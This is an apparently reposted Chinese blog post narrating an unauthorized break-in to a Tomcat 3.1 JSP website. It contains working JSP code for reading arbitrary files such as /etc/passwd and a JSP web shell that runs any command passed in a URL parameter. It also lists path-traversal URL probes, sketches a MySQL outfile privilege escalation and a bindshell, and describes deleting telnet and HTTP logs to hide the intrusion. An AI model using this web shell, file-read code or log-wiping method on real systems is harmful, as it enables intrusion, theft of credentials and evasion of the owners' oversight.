---
title: "入侵基于JSP+Tomcat的Web网站实录"
author: "mmdev"
date: "2008-10-27T10:20:00Z"
tags: []
slug: "jsp-tomcat-web"
draft: false
lastmod: "2011-12-10T16:01:25Z"
id: 1301154
url: "https://mmdev.iteye.com/blog/1301154"
---

很偶然的一个机会，浏览到一个网站，页面清新让人感觉很舒服。网站是用JSP开发的，出于个人爱好，我决定测试一下其系统的安全性。

telnet [www.target.com](http://www.target.com) 8080

GET /CHINANSL HTTP/1.1

\[Enter]

\[Enter]

返回的结果如下：

HTTP/1.0 404 Not Found

Date: Sun, 08 Jul 2001 07:49:13 GMT

Servlet-Engine: Tomcat Web Server/3.1 (JSP 1.1; Servlet 2.2; Java 1.2.2; Linux 2

.2.12 i386; java.vendor=Blackdown Java-Linux Team)

Content-Language: en

Content-Type: text/html

Status: 404

＜h1＞Error: 404＜/h1＞

＜h2＞Location: /CHINANSL＜/h2＞File Not Found＜br＞/CHINANSL

获得了运行的WEBServer的名称"Tomcat 3.1"。记得曾经发现过这个版本的漏洞，并且post到bugtrap上去过。

回忆一下，大概是通过".."技术可以退出WEB目录，于是：

[http://target:8080/../../../../%00.jsp](http://target:8080/../../../../%00.jsp) （不行）

[http://target:8080/file/index.jsp](http://target:8080/file/index.jsp) （不行）

[http://target:8080/index.JSP](http://target:8080/index.JSP) （不行）

[http://target:8080/index.jsp%81](http://target:8080/index.jsp%81) （不行）

[http://target:8080/index.js%70](http://target:8080/index.js%70) （不行）

[http://target:8080/index.jsp%2581](http://target:8080/index.jsp%2581) （不行）

[http://target:8080/WEB-INF/](http://target:8080/WEB-INF/) （不行）

看来安全状况似乎还不错，我们再来进行一下更深层的测试。Tomcat 3.1自带了一个管理工具，可以查看WEB下的目录及文件，并且可以添加context。于是尝试：

[http://target:8080/admin/](http://target:8080/admin/)

管理员果然没有删除或禁止访问这个目录，从安全的角度说，这点应该算是一个比较重要的失误。

接着，点击"VIEW ALL CONTEXT"按钮，列出了WEB目录下的一些文件和目录的名称，很快发现了一个上传文件的组件，通过这个组件将一个JSP文件上传到对方的WEB目录里：

＜%@ page import="java.io.\*" %＞

＜%

String file = request.getParameter("file");

String str = "";

FileInputStream fis = null;

DataInputStream dis = null;

try{

fis = new FileInputStream(file);

dis = new DataInputStream(fis);

while(true){

try{

str = dis.readLine();

}catch(Exception e){}

if(str == null)break;

out.print(str+"＜br＞");

}

}catch(IOException e){}

%＞

然后执行：

[http://target:8080/upload/test.jsp?file=/etc/passwd](http://target:8080/upload/test.jsp?file=%2Fetc%2Fpasswd)

密码出来了。接下来的过程是猜测密码，没有成功。不过，现在相当于有了一个SHELL，猜不出密码可以先把IE当作SHELL环境。

再写一个JSP文件：

＜%@ page import="java.io.\*" %＞

＜%

try {

String cmd = request.getParameter("cmd");

Process child = Runtime.getRuntime().exec(cmd);

InputStream in = child.getInputStream();

int c;

while ((c = in.read()) != -1) {

out.print((char)c);

}

in.close();

try {

child.waitFor();

} catch (InterruptedException e) {

e.printStackTrace();

}

} catch (IOException e) {

System.err.println(e);

}

%＞

然后把这个JSP再通过upload上传，有SHELL了。

[http://target:8080/upload/cmd.jsp?cmd=ls+-la+/](http://target:8080/upload/cmd.jsp?cmd=ls%20-la%20%2F)

（详细结果这里就不列出来了）

怎么获得root权限呢？经过一番搜索发现系统安装了MySQL，并且从JSP的源代码中得到了MySQL的密码，执行：

sqld"＞[](http://target:8080/upload/cmd.jsp?cmd=ps%20aux%20%7Cgrep%20mysqld)http://target:8080/upload/cmd.jsp?cmd=ps+aux+|grep+mysqld

显示：

root 87494 0.2 1.9 17300 4800 p0- S 28Jun01 5:54.72 /usr/local/data/mysql

系统是以root身份运行的MySQL。这时我思考了一下，既然知道了MySQL的密码，那就可以写一个SHELL程序，让它创建一个表，然后将我的数据放到表中，再使用"select ... into outfile;"的办法在系统上创建一个文件，让用户在执行su的时候，运行我的程序。（还记得apache.org有一次被入侵吗？黑客就采用的这种办法）。

之后就比较简单了，上传bindshell之类的程序，运行、获得nobody的权限，使用su root时帮忙创建的setuid shell让自己成为root。

但是，接下来已经实际操作，结果令人颇感意外：

[http://target:8080/upload/cmd.jsp?cmd=id](http://target:8080/upload/cmd.jsp?cmd=id)

显示：

uid=0(root) gid=0(xxx) groups=0(xxx),2(xxx),3(xxx),4(xxx),5(xxx),20(xxx),31(xxx)

原来这个WEB SHELL本来就是ROOT！管理员的安全设置工作到底怎么做的？

[http://target:8080/upload/cmd.jsp?cmd=ps+aux](http://target:8080/upload/cmd.jsp?cmd=ps%20aux)

果然是root身份运行的（不列出来了）

剩下的事情：

1、删除我的telnet记录。

2、删除http的日志。

清除日志我使用的办法是：cat xxx |grep -V "IP" ＞＞temp然后在把temp覆盖那些被我修改过的日志文件。

说明一点，我没有更换该网站的页面，因为我只是个网络安全爱好者。所以，发封邮件告诉system admin吧！当然，我顺便在信中提到，如果需要安盟信息科技为他提供安全服务的话，我们会非常的高兴！

源文档 http://dev.yesky.com/web/27/2162527.shtml&gt;